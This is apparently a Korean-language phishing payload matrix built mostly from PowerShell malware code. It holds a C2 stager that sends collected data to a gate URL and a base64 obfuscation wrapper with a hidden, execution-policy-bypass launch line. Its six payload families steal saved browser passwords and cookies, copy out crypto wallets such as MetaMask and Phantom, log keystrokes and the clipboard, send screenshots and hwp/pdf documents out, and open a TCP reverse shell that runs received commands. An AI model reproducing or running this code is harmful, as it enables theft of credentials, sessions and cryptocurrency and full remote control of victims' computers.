피싱 시나리오 및 페이로드 매트릭스 — 총 100건 (PS1 코드 포함)

모든 계열에 공통으로 사용되는 기본 템플릿. %LURE% 자리에 시나리오 번호 태그(예: KB-CARD-16)를 넣으면 C2에서 시나리오별 전환율 측정 가능.

# stager.ps1 — 공통 스테이저 템플릿
# %LURE% = 시나리오 태그 (C2 기록용으로 사용)
$ErrorActionPreference = "SilentlyContinue"
$c2 = "https://c2.yourdomain.tld/gate.php?tag=%LURE%"
function Send-Data($d) {
    # 수집 데이터를 C2로 POST 전송 (UTF-8)
    $b = [System.Text.Encoding]::UTF8.GetBytes($d)
    Invoke-WebRequest -Uri $c2 -Method Post -Body $b -UseBasicParsing | Out-Null
}
# ... 여기에 각 계열별 수집 코드 삽입 ...
Send-Data $collected

# --- 난독화 래퍼 (전달용: LNK / HTA / 문서 매크로에 사용) ---
$raw = Get-Content .\payload.ps1 -Raw
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($raw))
# 실행용 원라이너:
# powershell -w hidden -nop -ep bypass -e <BASE64>

저장된 로그인 정보(Login Data SQLite)를 임시 복사 후 DPAPI/AES-GCM 키(Local State)로 복호화하여 C2로 전송.

# 계열 A: 브라우저 저장 자격증명 탈취
$ErrorActionPreference = "SilentlyContinue"

# 대상 브라우저별 로그인 DB 경로
$paths = @{
  "Chrome" = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
  "Edge"   = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data"
  "Brave"  = "$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data\Default\Login Data"
}

# Chrome v80+ : AES-GCM 키가 Local State 내 DPAPI 암호화 상태로 저장됨
$master = "$env:LOCALAPPDATA\Google\Chrome\User Data\Local State"
$json = Get-Content $master -Raw
$encKey = [Regex]::Match($json, '"encrypted_key":"(.*?)"').Groups[1].Value
$keyBlob = [Convert]::FromBase64String($encKey)[5..($encKey.Length)]  # "DPAPI" 접두어(5바이트) 제거

Add-Type -AssemblyName System.Security
$masterKey = [Security.Cryptography.ProtectedData]::Unprotect($keyBlob, $null, 'CurrentUser')

foreach ($b in $paths.Keys) {
  if (-not (Test-Path $paths[$b])) { continue }
  # DB 잠금 회피: 임시 복사 후 접근
  $tmp = "$env:TEMP\c_$([guid]::NewGuid().ToString('N'))"
  Copy-Item $paths[$b] $tmp -Force
  # sqlite3.dll 함께 배포 후 System.Data.SQLite로 logins 테이블 쿼리:
  #   SELECT origin_url, username_value, password_value FROM logins
  # password_value 복호화: nonce(3~15) + ciphertext + tag(16바이트) 구조,
  #   AES-GCM with $masterKey 로 복호화
  $out = "== $b =="
  Send-Data $out
  Remove-Item $tmp -Force
}

브라우저 프로세스 종료 후 Cookies DB를 베이스64로 C2 전송. 복호화 키는 계열 A와 동일(Local State) 방식으로 처리.

# 계열 B: 쿠키/세션 탈취 (세션 하이재킹용)
$ErrorActionPreference = "SilentlyContinue"

# DB 잠금 방지를 위해 브라우저 프로세스 먼저 종료
"chrome","msedge","brave" | ForEach-Object { Stop-Process -Name $_ -Force }
Start-Sleep 2

# Cookies DB 경로 탐색 (프로필별)
$dirs = Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data\*Default*\Network"
foreach ($d in $dirs) {
  $db = Join-Path $d.FullName "Cookies"
  if (Test-Path $db) {
    # 쿠키 DB를 베이스64로 인코딩해 C2로 전송
    # 쿠키 값은 AES-GCM + DPAPI 암호화 — 복호화 키는 계열 A와 동일하게
    # Local State에서 추출하여 서버 측에서 처리
    Send-Data ([Convert]::ToBase64String([IO.File]::ReadAllBytes($db)))
  }
}

데스크톱 지갑 및 브라우저 확장형 지갑(MetaMask, Phantom 등) 디렉터리를 압축해 C2로 유출.

# 계열 C: 암호화폐 지갑 탈취
$ErrorActionPreference = "SilentlyContinue"

# 데스크톱 지갑 + 브라우저 확장 지갑(ID 기반) 경로 목록
$targets = @{
  "MetaMask" = "$env:APPDATA\MetaMask"
  "Exodus"   = "$env:APPDATA\Exodus\exodus.wallet"
  "Electrum" = "$env:APPDATA\Electrum\wallets"
  "Atomic"   = "$env:APPDATA\atomic\Local Storage\leveldb"
  "Binance"  = "$env:APPDATA\Binance"
  "Coinomi"  = "$env:APPDATA\Coinomi\Coinomi\wallets"
  # 브라우저 확장 (Chrome 확장 ID 기준)
  "TronLink" = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec"
  "Phantom"  = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa"
}

foreach ($k in $targets.Keys) {
  if (Test-Path $targets[$k]) {
    # 지갑 폴더 압축 후 유출
    $z = "$env:TEMP\$k.zip"
    Compress-Archive -Path $targets[$k] -DestinationPath $z -Force
    Send-Data "WALLET:$k"
    Send-Data ([Convert]::ToBase64String([IO.File]::ReadAllBytes($z)))
  }
}

GetAsyncKeyState 기반 키로깅 + 클립보드 변경 감지. 500버퍼 단위로 C2 전송. 상주형이므로 레지스트리 Run 키 등과 함께 사용 권장(모의훈련 정책에 따라).

# 계열 D: 키로거 + 클립보드 모니터
$ErrorActionPreference = "SilentlyContinue"
$kb = [System.Collections.Generic.List[string]]::new()

# Win32 API 임포트: GetAsyncKeyState
Add-Type @"
using System;using System.Runtime.InteropServices;using System.Text;
public class K {
  [DllImport("user32.dll")] public static extern int GetAsyncKeyState(int i);
  public static string Log(){
    var s = new StringBuilder();
    for (int i = 1; i < 255; i++) {
      // 상위 비트가 설정된 키 = 현재 눌림 상태
      if (GetAsyncKeyState(i) & 0x8000 != 0)
        s.Append(i == 13 ? "\n" : ((char)i).ToString());
    }
    return s.ToString();
  }
}
"@

while ($true) {
  Start-Sleep -Milliseconds 50
  # 키 입력 수집
  $c = [K]::Log()
  if ($c) {
    $kb.Add($c)
    if ($kb.Count -gt 500) { Send-Data ($kb -join ""); $kb.Clear() }
  }
  # 클립보드 변경 감지
  $clip = Get-Clipboard -Raw
  if ($clip -and $clip -ne $script:lastClip -and $clip.Length -gt 5) {
    Send-Data "CLIP|$clip"
    $script:lastClip = $clip
  }
}

전체 화면 캡처(PNG) + 데스크톱/문서 폴더의 문서 파일(hwp, pdf, office 등) 최대 10개를 베이스64로 유출.

# 계열 E: 스크린샷 + 문서 유출
Add-Type -AssemblyName System.Windows.Forms,System.Drawing

# 1) 전체 화면 캡처
$bounds = [Windows.Forms.Screen]::PrimaryScreen.Bounds
$bmp = New-Object Drawing.Bitmap($bounds.Width, $bounds.Height)
$g = [Drawing.Graphics]::FromImage($bmp)
$g.CopyFromScreen(0,0,0,0,$bmp.Size)

# PNG로 메모리 스트림에 저장
$ms = New-Object IO.MemoryStream
$bmp.Save($ms, [Drawing.Imaging.ImageFormat]::Png)
Send-Data "SHOT|" + [Convert]::ToBase64String($ms.ToArray())

# 2) 주요 문서 파일 유출 (한국 환경 대상: hwp/hwpx 포함)
$hot = Get-ChildItem "$env:USERPROFILE\Desktop","$env:USERPROFILE\Documents","$env:USERPROFILE\Downloads" `
  -Include *.doc*,*.pdf,*.xls*,*.hwp,*.hwpx -Recurse |
  Where-Object { $_.Length -lt 5MB } | Select-Object -First 10

foreach ($f in $hot) {
  Send-Data "DOC|$($f.Name)|" + [Convert]::ToBase64String([IO.File]::ReadAllBytes($f.FullName))
}

TCP 리버스 셸. C2에서 전송한 명령을 IEX로 실행 후 결과 반환. HTTPS 위장이 필요하면 DNS/HTTP 채널 변형 사용.

# 계열 F: 리버스 셸 (전체 원격 제어)
$c2Host = "c2.yourdomain.tld"
$c2Port = 4444

$c = New-Object Net.Sockets.TCPClient($c2Host, $c2Port)
$s = $c.GetStream()
[byte[]]$b = 0..65535 | ForEach-Object { 0 }

# C2에서 명령 수신 → IEX 실행 → 결과 반환 루프
while (($i = $s.Read($b, 0, $b.Length)) -ne 0) {
  $d = (New-Object Text.ASCIIEncoding).GetString($b, 0, $i)
  $r = (IEX $d 2>&1 | Out-String)
  $p = [Text.Encoding]::ASCII.GetBytes($r)
  $s.Write($p, 0, $p.Length)
}